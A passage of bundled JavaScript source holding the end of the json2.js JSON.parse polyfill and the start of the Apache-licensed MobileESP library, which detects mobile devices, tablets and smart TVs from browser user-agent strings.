  2058.                             }
  2059.                         }
  2060.                     }
  2061.                 }
  2062.                 return reviver.call(holder, key, value);
  2063.             }
  2064.  
  2065.  
  2066. // Parsing happens in four stages. In the first stage, we replace certain
  2067. // Unicode characters with escape sequences. JavaScript handles many characters
  2068. // incorrectly, either silently deleting them, or treating them as line endings.
  2069.  
  2070.             text = String(text);
  2071.             rx_dangerous.lastIndex = 0;
  2072.             if (rx_dangerous.test(text)) {
  2073.                 text = text.replace(rx_dangerous, function (a) {
  2074.                     return "\\u" +
  2075.                             ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
  2076.                 });
  2077.             }
  2078.  
  2079. // In the second stage, we run the text against regular expressions that look
  2080. // for non-JSON patterns. We are especially concerned with "()" and "new"
  2081. // because they can cause invocation, and "=" because it can cause mutation.
  2082. // But just to be safe, we want to reject all unexpected forms.
  2083.  
  2084. // We split the second stage into 4 regexp operations in order to work around
  2085. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  2086. // replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
  2087. // replace all simple value tokens with "]" characters. Third, we delete all
  2088. // open brackets that follow a colon or comma or that begin the text. Finally,
  2089. // we look to see that the remaining characters are only whitespace or "]" or
  2090. // "," or ":" or "{" or "}". If that is so, then the text is safe for eval.
  2091.  
  2092.             if (
  2093.                 rx_one.test(
  2094.                     text
  2095.                         .replace(rx_two, "@")
  2096.                         .replace(rx_three, "]")
  2097.                         .replace(rx_four, "")
  2098.                 )
  2099.             ) {
  2100.  
  2101. // In the third stage we use the eval function to compile the text into a
  2102. // JavaScript structure. The "{" operator is subject to a syntactic ambiguity
  2103. // in JavaScript: it can begin a block or an object literal. We wrap the text
  2104. // in parens to eliminate the ambiguity.
  2105.  
  2106.                 j = eval("(" + text + ")");
  2107.  
  2108. // In the optional fourth stage, we recursively walk the new structure, passing
  2109. // each name/value pair to a reviver function for possible transformation.
  2110.  
  2111.                 return (typeof reviver === "function")
  2112.                     ? walk({"": j}, "")
  2113.                     : j;
  2114.             }
  2115.  
  2116. // If the text is not JSON parseable, then a SyntaxError is thrown.
  2117.  
  2118.             throw new SyntaxError("JSON.parse");
  2119.         };
  2120.     }
  2121. }());
  2122.  
  2123.  
  2124. /* *******************************************
  2125. // Copyright 2010-2015, Anthony Hand
  2126. //
  2127. // BETA NOTICE
  2128. // Previous versions of the JavaScript code for MobileESP were 'regular'
  2129. // JavaScript. The strength of it was that it was really easy to code and use.
  2130. // Unfortunately, regular JavaScript means that all variables and functions
  2131. // are in the global namespace. There can be collisions with other code libraries
  2132. // which may have similar variable or function names. Collisions cause bugs as each
  2133. // library changes a variable's definition or functionality unexpectedly.
  2134. // As a result, we thought it wise to switch to an "object oriented" style of code.
  2135. // This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.
  2136. // It avoids potential for collisions with other JavaScript libraries.
  2137. // This technique allows the developer continued access to any desired function or property.
  2138. //
  2139. // Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com
  2140. //
  2141. //
  2142. // File version 2015.05.13 (May 13, 2015)
  2143. // Updates:
  2144. //      - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp
  2145. //      - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet.
  2146. //              - Removed DetectOperaAndroidPhone(). This method is no longer reliable.
  2147. //              - Removed DetectOperaAndroidTablet(). This method is no longer reliable.
  2148. //      - Added support for Windows Phone 10: variable and DetectWindowsPhone10()
  2149. //      - Updated DetectWindowsPhone() to include WP10.
  2150. //      - Added support for Firefox OS.  
  2151. //              - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()
  2152. //              - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.
  2153. //      - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time.
  2154. //              - A variable plus DetectSailfish(), DetectSailfishPhone()
  2155. //      - Added support for Ubuntu Mobile OS.
  2156. //              - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()
  2157. //      - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps.
  2158. //              - One variable for Samsung Tizen TVs, plus DetectTizenTV()
  2159. //              - One variable for LG WebOS TVs, plus DetectWebOSTV()
  2160. //      - Updated DetectTizen(). Now tests for “mobile” to disambiguate from Samsung Smart TVs
  2161. //      - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.
  2162. //      - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet.
  2163. //      - Updated DetectAndroidPhone().
  2164. //              - Updated internal detection code for Android.
  2165. //              - No longer has a special test case for the HTC Flyer tablet.
  2166. //              - Checks against DetectOperaMobile() on Android and reports here if relevant.
  2167. //      - Updated DetectAndroidTablet().
  2168. //              - No longer has a special test case for the HTC Flyer tablet.
  2169. //              - Checks against DetectOperaMobile() on Android to exclude it from here.
  2170. //      - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones.
  2171. //      - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.  
  2172. //      - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile.
  2173. //      - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile.
  2174. //      - DetectSmartphone(): Added support for Meego phones.
  2175. //      - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():
  2176. //              - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()
  2177. //      
  2178. //
  2179. //
  2180. // LICENSE INFORMATION
  2181. // Licensed under the Apache License, Version 2.0 (the "License");
  2182. // you may not use this file except in compliance with the License.
  2183. // You may obtain a copy of the License at
  2184. //        http://www.apache.org/licenses/LICENSE-2.0
  2185. // Unless required by applicable law or agreed to in writing,
  2186. // software distributed under the License is distributed on an
  2187. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  2188. // either express or implied. See the License for the specific
  2189. // language governing permissions and limitations under the License.
  2190. //
  2191. //
  2192. // ABOUT THIS PROJECT
  2193. //   Project Owner: Anthony Hand
  2194. //   Email: anthony.hand@gmail.com
  2195. //   Web Site: http://www.mobileesp.com
  2196. //   Source Files: https://github.com/ahand/mobileesp
  2197. //  
  2198. //   Versions of this code are available for:
  2199. //      PHP, JavaScript, Java, ASP.NET (C#), Ruby and others
  2200. //
  2201. //
  2202. // WARNING:
  2203. //   These JavaScript-based device detection features may ONLY work
  2204. //   for the newest generation of smartphones, such as the iPhone,
  2205. //   Android and Palm WebOS devices.
  2206. //   These device detection features may NOT work for older smartphones
  2207. //   which had poor support for JavaScript, including
  2208. //   older BlackBerry, PalmOS, and Windows Mobile devices.
  2209. //   Additionally, because JavaScript support is extremely poor among
  2210. //   'feature phones', these features may not work at all on such devices.
  2211. //   For better results, consider using a server-based version of this code,
  2212. //   such as Java, APS.NET, PHP, or Ruby.
  2213. //
  2214. // *******************************************
  2215. */
  2216.  
  2217.  
  2218. var MobileEsp = {
  2219.  
  2220.         //GLOBALLY USEFUL VARIABLES
  2221.         //Note: These values are set automatically during the Init function.
  2222.         //Stores whether we're currently initializing the most popular functions.
  2223.         initCompleted : false,
  2224.         isWebkit : false, //Stores the result of DetectWebkit()
  2225.         isMobilePhone : false, //Stores the result of DetectMobileQuick()
  2226.         isIphone : false, //Stores the result of DetectIphone()
  2227.         isAndroid : false, //Stores the result of DetectAndroid()
  2228.         isAndroidPhone : false, //Stores the result of DetectAndroidPhone()
  2229.         isTierTablet : false, //Stores the result of DetectTierTablet()
  2230.         isTierIphone : false, //Stores the result of DetectTierIphone()
  2231.         isTierRichCss : false, //Stores the result of DetectTierRichCss()
  2232.         isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()
  2233.        
  2234.         //INTERNALLY USED DETECTION STRING VARIABLES
  2235.         engineWebKit : 'webkit',
  2236.         deviceIphone : 'iphone',
  2237.         deviceIpod : 'ipod',
  2238.         deviceIpad : 'ipad',
  2239.         deviceMacPpc : 'macintosh', //Used for disambiguation
  2240.        
  2241.         deviceAndroid : 'android',
  2242.         deviceGoogleTV : 'googletv',
  2243.        
  2244.         deviceWinPhone7 : 'windows phone os 7',
  2245.         deviceWinPhone8 : 'windows phone 8',
  2246.         deviceWinPhone10 : 'windows phone 10',
  2247.         deviceWinMob : 'windows ce',
  2248.         deviceWindows : 'windows',
  2249.         deviceIeMob : 'iemobile',
  2250.         devicePpc : 'ppc', //Stands for PocketPC
  2251.         enginePie : 'wm5 pie',  //An old Windows Mobile
  2252.  
  2253.         deviceBB : 'blackberry',
  2254.         deviceBB10 : 'bb10', //For the new BB 10 OS
  2255.         vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox
  2256.         deviceBBStorm : 'blackberry95', //Storm 1 and 2
  2257.         deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)
  2258.         deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)
  2259.         deviceBBTour : 'blackberry96', //Tour
  2260.         deviceBBCurve : 'blackberry89', //Curve 2
  2261.         deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380
  2262.         deviceBBTorch : 'blackberry 98', //Torch
  2263.         deviceBBPlaybook : 'playbook', //PlayBook tablet
  2264.  
  2265.         deviceSymbian : 'symbian',
  2266.         deviceSymbos : 'symbos', //Opera 10 on Symbian
  2267.         deviceS60 : 'series60',
  2268.         deviceS70 : 'series70',
  2269.         deviceS80 : 'series80',
  2270.         deviceS90 : 'series90',
  2271.  
  2272.         devicePalm : 'palm',
  2273.         deviceWebOS : 'webos', //For Palm devices
  2274.         deviceWebOStv : 'web0s', //For LG TVs
  2275.         deviceWebOShp : 'hpwos', //For HP's line of WebOS devices
  2276.  
  2277.         deviceNuvifone : 'nuvifone', //Garmin Nuvifone
  2278.         deviceBada : 'bada', //Samsung's Bada OS
  2279.         deviceTizen : 'tizen', //Tizen OS
  2280.         deviceMeego : 'meego', //Meego OS
  2281.         deviceSailfish : 'sailfish', //Sailfish OS
  2282.         deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS
  2283.  
  2284.         deviceKindle : 'kindle', //Amazon eInk Kindle
  2285.         engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire
  2286.  
  2287.         engineBlazer : 'blazer', //Old Palm browser
  2288.         engineXiino : 'xiino',
  2289.        
  2290.         //Initialize variables for mobile-specific content.
  2291.         vndwap : 'vnd.wap',
  2292.         wml : 'wml',
  2293.        
  2294.         //Initialize variables for random devices and mobile browsers.
  2295.         //Some of these may not support JavaScript
  2296.         deviceTablet : 'tablet',
  2297.         deviceBrew : 'brew',
  2298.         deviceDanger : 'danger',
  2299.         deviceHiptop : 'hiptop',
  2300.         devicePlaystation : 'playstation',
  2301.         devicePlaystationVita : 'vita',
  2302.         deviceNintendoDs : 'nitro',
  2303.         deviceNintendo : 'nintendo',
  2304.         deviceWii : 'wii',
  2305.         deviceXbox : 'xbox',
  2306.         deviceArchos : 'archos',
  2307.        
  2308.         engineFirefox : 'firefox', //For Firefox OS
  2309.         engineOpera : 'opera', //Popular browser
  2310.         engineNetfront : 'netfront', //Common embedded OS browser
  2311.         engineUpBrowser : 'up.browser', //common on some phones
  2312.         deviceMidp : 'midp', //a mobile Java technology
  2313.         uplink : 'up.link',
  2314.         engineTelecaQ : 'teleca q', //a modern feature phone browser
  2315.         engineObigo : 'obigo', //W 10 is a modern feature phone browser
  2316.        
  2317.         devicePda : 'pda',
  2318.         mini : 'mini',  //Some mobile browsers put 'mini' in their names
  2319.         mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings
  2320.         mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings
  2321.        
  2322.         //Smart TV strings
  2323.         smartTV1 : 'smart-tv', //Samsung Tizen smart TVs
  2324.         smartTV2 : 'smarttv', //LG WebOS smart TVs
  2325.  
  2326.         //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.
  2327.         maemo : 'maemo',
  2328.         linux : 'linux',
  2329.         mylocom2 : 'sony/com', // for Sony Mylo 1 and 2
  2330.        
  2331.         //In some UserAgents, the only clue is the manufacturer
  2332.         manuSonyEricsson : 'sonyericsson',
  2333.         manuericsson : 'ericsson',
  2334.         manuSamsung1 : 'sec-sgh',
  2335.         manuSony : 'sony',
  2336.         manuHtc : 'htc', //Popular Android and WinMo manufacturer
  2337.        
  2338.         //In some UserAgents, the only clue is the operator
  2339.         svcDocomo : 'docomo',
  2340.         svcKddi : 'kddi',
  2341.         svcVodafone : 'vodafone',
  2342.        
  2343.         //Disambiguation strings.
  2344.         disUpdate : 'update', //pda vs. update
  2345.        
  2346.         //Holds the User Agent string value.
  2347.         uagent : '',
  2348.    
  2349.         //Initializes key MobileEsp variables
  2350.         InitDeviceScan : function() {
  2351.                 this.initCompleted = false;
  2352.                
  2353.                 if (navigator && navigator.userAgent)
  2354.                         this.uagent = navigator.userAgent.toLowerCase();
  2355.                
  2356.                 //Save these properties to speed processing
  2357.                 this.isWebkit = this.DetectWebkit();
  2358.                 this.isIphone = this.DetectIphone();
  2359.                 this.isAndroid = this.DetectAndroid();
  2360.                 this.isAndroidPhone = this.DetectAndroidPhone();
  2361.                
  2362.                 //Generally, these tiers are the most useful for web development
  2363.                 this.isMobilePhone = this.DetectMobileQuick();
  2364.                 this.isTierIphone = this.DetectTierIphone();
  2365.                 this.isTierTablet = this.DetectTierTablet();
  2366.                
  2367.                 //Optional: Comment these out if you NEVER use them
  2368.                 this.isTierRichCss = this.DetectTierRichCss();
  2369.                 this.isTierGenericMobile = this.DetectTierOtherPhones();
  2370.                
  2371.                 this.initCompleted = true;
  2372.         },
  2373.  
  2374.  
  2375.         //APPLE IOS
  2376.  
  2377.         //**************************
  2378.         // Detects if the current device is an iPhone.
  2379.         DetectIphone : function() {
  2380.         if (this.initCompleted || this.isIphone)
  2381.                         return this.isIphone;
  2382.  
  2383.                 if (this.uagent.search(this.deviceIphone) > -1)
  2384.                         {
  2385.                                 //The iPad and iPod Touch say they're an iPhone! So let's disambiguate.
  2386.                                 if (this.DetectIpad() || this.DetectIpod())
  2387.                                         return false;
  2388.                                 //Yay! It's an iPhone!
  2389.                                 else
  2390.                                         return true;
  2391.                         }
  2392.                 else
  2393.                         return false;
  2394.         },
  2395.  
  2396.         //**************************
  2397.         // Detects if the current device is an iPod Touch.
  2398.         DetectIpod : function() {
  2399.                         if (this.uagent.search(this.deviceIpod) > -1)
  2400.                                 return true;
  2401.                         else
  2402.                                 return false;
  2403.         },
  2404.  
  2405.         //**************************
  2406.         // Detects if the current device is an iPhone or iPod Touch.
  2407.         DetectIphoneOrIpod : function() {
  2408.                 //We repeat the searches here because some iPods
  2409.                 //  may report themselves as an iPhone, which is ok.
  2410.                 if (this.DetectIphone() || this.DetectIpod())
  2411.                         return true;
  2412.                 else
  2413.                         return false;
  2414.         },
  2415.  
  2416.         //**************************
  2417.         // Detects if the current device is an iPad tablet.
  2418.         DetectIpad : function() {
  2419.                 if (this.uagent.search(this.deviceIpad) > -1  && this.DetectWebkit())
  2420.                         return true;
  2421.                 else
  2422.                         return false;
  2423.         },
  2424.  
  2425.         //**************************
  2426.         // Detects *any* iOS device: iPhone, iPod Touch, iPad.
  2427.         DetectIos : function() {
  2428.                 if (this.DetectIphoneOrIpod() || this.DetectIpad())
  2429.                         return true;
  2430.                 else
  2431.                         return false;
  2432.         },
  2433.  
  2434.  
  2435.         //ANDROID
  2436.  
  2437.         //**************************
  2438.         // Detects *any* Android OS-based device: phone, tablet, and multi-media player.
  2439.         // Also detects Google TV.
  2440.         DetectAndroid : function() {
  2441.                 if (this.initCompleted || this.isAndroid)
  2442.                         return this.isAndroid;
  2443.                
  2444.                 if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())
  2445.                         return true;
  2446.                
  2447.                 return false;
  2448.         },
  2449.  
  2450.         //**************************
  2451.         // Detects if the current device is a (small-ish) Android OS-based device
  2452.         // used for calling and/or multi-media (like a Samsung Galaxy Player).
  2453.         // Google says these devices will have 'Android' AND 'mobile' in user agent.
  2454.         // Ignores tablets (Honeycomb and later).
  2455.         DetectAndroidPhone : function() {
  2456.                 if (this.initCompleted || this.isAndroidPhone)
  2457.                         return this.isAndroidPhone;
  2458.                
  2459.                 //First, let's make sure we're on an Android device.
  2460.                 if (!this.DetectAndroid())
  2461.                         return false;
  2462.                
  2463.                 //If it's Android and has 'mobile' in it, Google says it's a phone.
  2464.                 if (this.uagent.search(this.mobile) > -1)
  2465.                         return true;
  2466.  
  2467.                 //Special check for Android phones with Opera Mobile. They should report here.
  2468.                 if (this.DetectOperaMobile())
  2469.                         return true;
  2470.                
  2471.                 return false;
  2472.         },
  2473.  
  2474.         //**************************
  2475.         // Detects if the current device is a (self-reported) Android tablet.
  2476.         // Google says these devices will have 'Android' and NOT 'mobile' in their user agent.
  2477.         DetectAndroidTablet : function() {
  2478.                 //First, let's make sure we're on an Android device.
  2479.                 if (!this.DetectAndroid())
  2480.                         return false;
  2481.                
  2482.                 //Special check for Opera Android Phones. They should NOT report here.
  2483.                 if (this.DetectOperaMobile())
  2484.                         return false;
  2485.                        
  2486.                 //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.
  2487.                 if (this.uagent.search(this.mobile) > -1)
  2488.                         return false;
  2489.                 else
  2490.                         return true;
  2491.         },
  2492.  
  2493.         //**************************
  2494.         // Detects if the current device is an Android OS-based device and
  2495.         //   the browser is based on WebKit.
  2496.         DetectAndroidWebKit : function() {
  2497.                 if (this.DetectAndroid() && this.DetectWebkit())
  2498.                         return true;
  2499.                 else
  2500.                         return false;
  2501.         },
  2502.  
  2503.         //**************************
  2504.         // Detects if the current device is a GoogleTV.
  2505.         DetectGoogleTV : function() {
  2506.                 if (this.uagent.search(this.deviceGoogleTV) > -1)
  2507.                         return true;
  2508.                 else
  2509.                         return false;
  2510.         },
  2511.  
  2512.         //**************************
  2513.         // Detects if the current browser is based on WebKit.
  2514.         DetectWebkit : function() {
  2515.                 if (this.initCompleted || this.isWebkit)
  2516.                         return this.isWebkit;
  2517.                
  2518.                 if (this.uagent.search(this.engineWebKit) > -1)
  2519.                         return true;
  2520.                 else
  2521.                         return false;
  2522.         },
  2523.  
  2524.  
  2525.         //WINDOWS MOBILE AND PHONE
  2526.  
  2527.     // Detects if the current browser is a
  2528.     // Windows Phone 7, 8, or 10 device.
  2529.     DetectWindowsPhone : function() {
  2530.                 if (this.DetectWindowsPhone7() ||
  2531.             this.DetectWindowsPhone8() ||
  2532.             this.DetectWindowsPhone10())
  2533.                         return true;
  2534.                 else
  2535.                         return false;
  2536.         },
  2537.  
  2538.         //**************************
  2539.         // Detects a Windows Phone 7 device (in mobile browsing mode).
  2540.         DetectWindowsPhone7 : function() {
  2541.                 if (this.uagent.search(this.deviceWinPhone7) > -1)
  2542.                         return true;
  2543.                 else
  2544.                         return false;
  2545.         },
  2546.  
  2547.         //**************************
  2548.         // Detects a Windows Phone 8 device (in mobile browsing mode).
  2549.         DetectWindowsPhone8 : function() {
  2550.                 if (this.uagent.search(this.deviceWinPhone8) > -1)
  2551.                         return true;
  2552.                 else
  2553.                         return false;
  2554.         },
  2555.  
  2556.         //**************************
  2557.         // Detects a Windows Phone 10 device (in mobile browsing mode).
  2558.         DetectWindowsPhone10 : function() {
  2559.                 if (this.uagent.search(this.deviceWinPhone10) > -1)
  2560.                         return true;
  2561.                 else
  2562.                         return false;
  2563.         },
  2564.  
  2565.         //**************************
  2566.         // Detects if the current browser is a Windows Mobile device.
  2567.         // Excludes Windows Phone 7 and later devices.
  2568.         // Focuses on Windows Mobile 6.xx and earlier.
  2569.         DetectWindowsMobile : function() {
  2570.                 if (this.DetectWindowsPhone())
  2571.                         return false;
  2572.  
  2573.                 //Most devices use 'Windows CE', but some report 'iemobile'
  2574.                 //  and some older ones report as 'PIE' for Pocket IE.
  2575.                 if (this.uagent.search(this.deviceWinMob) > -1 ||
  2576.                         this.uagent.search(this.deviceIeMob) > -1 ||
  2577.                         this.uagent.search(this.enginePie) > -1)
  2578.                         return true;
  2579.                 //Test for Windows Mobile PPC but not old Macintosh PowerPC.
  2580.                 if ((this.uagent.search(this.devicePpc) > -1) &&
  2581.                         !(this.uagent.search(this.deviceMacPpc) > -1))
  2582.                         return true;
  2583.                 //Test for Windwos Mobile-based HTC devices.
  2584.                 if (this.uagent.search(this.manuHtc) > -1 &&
  2585.                         this.uagent.search(this.deviceWindows) > -1)
  2586.                         return true;
  2587.                 else
  2588.                         return false;
  2589.         },
  2590.  
  2591.  
  2592.         //BLACKBERRY
  2593.  
  2594.         //**************************
  2595.         // Detects if the current browser is a BlackBerry of some sort.
  2596.         // Includes BB10 OS, but excludes the PlayBook.
  2597.         DetectBlackBerry : function() {
  2598.                 if ((this.uagent.search(this.deviceBB) > -1) ||
  2599.                         (this.uagent.search(this.vndRIM) > -1))
  2600.                         return true;
  2601.                 if (this.DetectBlackBerry10Phone())
  2602.                         return true;
  2603.                 else
  2604.                         return false;
  2605.         },
  2606.  
  2607.         //**************************
  2608.         // Detects if the current browser is a BlackBerry 10 OS phone.
  2609.         // Excludes tablets.
  2610.         DetectBlackBerry10Phone : function() {
  2611.                 if ((this.uagent.search(this.deviceBB10) > -1) &&
  2612.                         (this.uagent.search(this.mobile) > -1))
  2613.                         return true;
  2614.                 else
  2615.                         return false;
  2616.         },
  2617.  
  2618.         //**************************
  2619.         // Detects if the current browser is on a BlackBerry tablet device.
  2620.         //    Example: PlayBook
  2621.         DetectBlackBerryTablet : function() {
  2622.                 if (this.uagent.search(this.deviceBBPlaybook) > -1)
  2623.                         return true;
  2624.                 else
  2625.                         return false;
  2626.         },
  2627.  
  2628.         //**************************
  2629.         // Detects if the current browser is a BlackBerry device AND uses a
  2630.         //    WebKit-based browser. These are signatures for the new BlackBerry OS 6.
  2631.         //    Examples: Torch. Includes the Playbook.
  2632.         DetectBlackBerryWebKit : function() {
  2633.                 if (this.DetectBlackBerry() &&
  2634.                         this.uagent.search(this.engineWebKit) > -1)
  2635.                         return true;
  2636.                 else
  2637.                         return false;
  2638.         },
  2639.  
  2640.         //**************************
  2641.         // Detects if the current browser is a BlackBerry Touch
  2642.         //    device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.
  2643.         DetectBlackBerryTouch : function() {
  2644.                 if (this.DetectBlackBerry() &&
  2645.                         ((this.uagent.search(this.deviceBBStorm) > -1) ||
  2646.                         (this.uagent.search(this.deviceBBTorch) > -1) ||
  2647.                         (this.uagent.search(this.deviceBBBoldTouch) > -1) ||
  2648.                         (this.uagent.search(this.deviceBBCurveTouch) > -1) ))
  2649.                         return true;
  2650.                 else
  2651.                         return false;
  2652.         },
  2653.  
  2654.         //**************************
  2655.         // Detects if the current browser is a BlackBerry OS 5 device AND
  2656.         //    has a more capable recent browser. Excludes the Playbook.
  2657.         //    Examples, Storm, Bold, Tour, Curve2
  2658.         //    Excludes the new BlackBerry OS 6 and 7 browser!!
  2659.         DetectBlackBerryHigh : function() {
  2660.                 //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser
  2661.                 if (this.DetectBlackBerryWebKit())
  2662.                         return false;
  2663.                 if ((this.DetectBlackBerry()) &&
  2664.                         (this.DetectBlackBerryTouch() ||
  2665.                         this.uagent.search(this.deviceBBBold) > -1 ||
  2666.                         this.uagent.search(this.deviceBBTour) > -1 ||
  2667.                         this.uagent.search(this.deviceBBCurve) > -1))
  2668.                         return true;
  2669.                 else
  2670.                         return false;
  2671.         },
  2672.  
  2673.         //**************************
  2674.         // Detects if the current browser is a BlackBerry device AND
  2675.         //    has an older, less capable browser.
  2676.         //    Examples: Pearl, 8800, Curve1.
  2677.         DetectBlackBerryLow : function() {
  2678.                 if (this.DetectBlackBerry())
  2679.                 {
  2680.                         //Assume that if it's not in the High tier or has WebKit, then it's Low.
  2681.                         if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())
  2682.                                 return false;
  2683.                         else
  2684.                                 return true;
  2685.                 }
  2686.                 else
  2687.                         return false;
  2688.         },
  2689.  
  2690.  
  2691.         //SYMBIAN
  2692.  
  2693.         //**************************
  2694.         // Detects if the current browser is the Nokia S60 Open Source Browser.
  2695.         DetectS60OssBrowser : function() {
  2696.                 if (this.DetectWebkit())
  2697.                 {
  2698.                         if ((this.uagent.search(this.deviceS60) > -1 ||
  2699.                                 this.uagent.search(this.deviceSymbian) > -1))
  2700.                                 return true;
  2701.                         else
  2702.                                 return false;
  2703.                 }
  2704.                 else
  2705.                         return false;
  2706.         },
  2707.  
  2708.         //**************************
  2709.         // Detects if the current device is any Symbian OS-based device,
  2710.         //   including older S60, Series 70, Series 80, Series 90, and UIQ,
  2711.         //   or other browsers running on these devices.
  2712.         DetectSymbianOS : function() {
  2713.                 if (this.uagent.search(this.deviceSymbian) > -1 ||
  2714.                         this.uagent.search(this.deviceS60) > -1 ||
  2715.                         ((this.uagent.search(this.deviceSymbos) > -1) &&
  2716.                                 (this.DetectOperaMobile)) || //Opera 10
  2717.                         this.uagent.search(this.deviceS70) > -1 ||
  2718.                         this.uagent.search(this.deviceS80) > -1 ||
  2719.                         this.uagent.search(this.deviceS90) > -1)
  2720.                         return true;
  2721.                 else
  2722.                         return false;
  2723.         },
  2724.  
  2725.  
  2726.         //WEBOS AND PALM
  2727.  
  2728.         //**************************
  2729.         // Detects if the current browser is on a PalmOS device.
  2730.         DetectPalmOS : function() {
  2731.                 //Make sure it's not WebOS first
  2732.                 if (this.DetectPalmWebOS())
  2733.                         return false;
  2734.  
  2735.                 //Most devices nowadays report as 'Palm',
  2736.                 //  but some older ones reported as Blazer or Xiino.
  2737.                 if (this.uagent.search(this.devicePalm) > -1 ||
  2738.                         this.uagent.search(this.engineBlazer) > -1 ||
  2739.                         this.uagent.search(this.engineXiino) > -1)
  2740.                         return true;
  2741.                 else
  2742.                         return false;
  2743.         },
  2744.  
  2745.         //**************************
  2746.         // Detects if the current browser is on a Palm device
  2747.         //   running the new WebOS.
  2748.         DetectPalmWebOS : function()
  2749.         {
  2750.                 if (this.uagent.search(this.deviceWebOS) > -1)
  2751.                         return true;
  2752.                 else
  2753.                         return false;
  2754.         },
  2755.  
  2756.         //**************************
  2757.         // Detects if the current browser is on an HP tablet running WebOS.
  2758.         DetectWebOSTablet : function() {
  2759.                 if (this.uagent.search(this.deviceWebOShp) > -1 &&
  2760.                         this.uagent.search(this.deviceTablet) > -1)
  2761.                         return true;
  2762.                 else
  2763.                         return false;
  2764.         },
  2765.  
  2766.         //**************************
  2767.         // Detects if the current browser is on a WebOS smart TV.
  2768.         DetectWebOSTV : function() {
  2769.                 if (this.uagent.search(this.deviceWebOStv) > -1 &&
  2770.                         this.uagent.search(this.smartTV2) > -1)
  2771.                         return true;
  2772.                 else
  2773.                         return false;
  2774.         },
  2775.  
  2776.  
  2777.         //OPERA
  2778.  
  2779.         //**************************
  2780.         // Detects if the current browser is Opera Mobile or Mini.
  2781.         // Note: Older embedded Opera on mobile devices didn't follow these naming conventions.
  2782.         //   Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead.
  2783.         DetectOperaMobile : function() {
  2784.                 if ((this.uagent.search(this.engineOpera) > -1) &&
  2785.                         ((this.uagent.search(this.mini) > -1 ||
  2786.                         this.uagent.search(this.mobi) > -1)))
  2787.                         return true;
  2788.                 else
  2789.                         return false;
  2790.         },
  2791.  
  2792.  
  2793.         //MISCELLANEOUS DEVICES
  2794.  
  2795.         //**************************
  2796.         // Detects if the current device is an Amazon Kindle (eInk devices only).
  2797.         // Note: For the Kindle Fire, use the normal Android methods.
  2798.         DetectKindle : function() {
  2799.                 if (this.uagent.search(this.deviceKindle) > -1 &&
  2800.                         !this.DetectAndroid())
  2801.                         return true;
  2802.                 else
  2803.                         return false;
  2804.         },
  2805.  
  2806.         //**************************
  2807.         // Detects if the current Amazon device has turned on the Silk accelerated browsing feature.
  2808.         // Note: Typically used by the the Kindle Fire.
  2809.         DetectAmazonSilk : function() {
  2810.                 if (this.uagent.search(this.engineSilk) > -1)
  2811.                         return true;
  2812.                 else
  2813.                         return false;
  2814.         },
  2815.  
  2816.         //**************************
  2817.         // Detects if the current browser is a
  2818.         //   Garmin Nuvifone.
  2819.         DetectGarminNuvifone : function() {
  2820.                 if (this.uagent.search(this.deviceNuvifone) > -1)
  2821.                         return true;
  2822.                 else
  2823.                         return false;
  2824.         },
  2825.  
  2826.         //**************************
  2827.         // Detects a device running the Bada OS from Samsung.
  2828.         DetectBada : function() {
  2829.                 if (this.uagent.search(this.deviceBada) > -1)
  2830.                         return true;
  2831.                 else
  2832.                         return false;
  2833.         },
  2834.  
  2835.         //**************************
  2836.         // Detects a device running the Tizen smartphone OS.
  2837.         DetectTizen : function() {
  2838.                 if (this.uagent.search(this.deviceTizen) > -1 &&
  2839.                         this.uagent.search(this.mobile) > -1)
  2840.                         return true;
  2841.                 else
  2842.                         return false;
  2843.         },
  2844.  
  2845.         //**************************
  2846.         // Detects if the current browser is on a Tizen smart TV.
  2847.         DetectTizenTV : function() {
  2848.                 if (this.uagent.search(this.deviceTizen) > -1 &&
  2849.                         this.uagent.search(this.smartTV1) > -1)
  2850.                         return true;
  2851.                 else
  2852.                         return false;
  2853.         },
  2854.  
  2855.         //**************************
  2856.         // Detects a device running the Meego OS.
  2857.         DetectMeego : function() {
  2858.                 if (this.uagent.search(this.deviceMeego) > -1)
  2859.                         return true;
  2860.                 else
  2861.                         return false;
  2862.         },
  2863.  
  2864.         //**************************
  2865.         // Detects a phone running the Meego OS.
  2866.         DetectMeegoPhone : function() {
  2867.                 if (this.uagent.search(this.deviceMeego) > -1 &&
  2868.                         this.uagent.search(this.mobi) > -1)
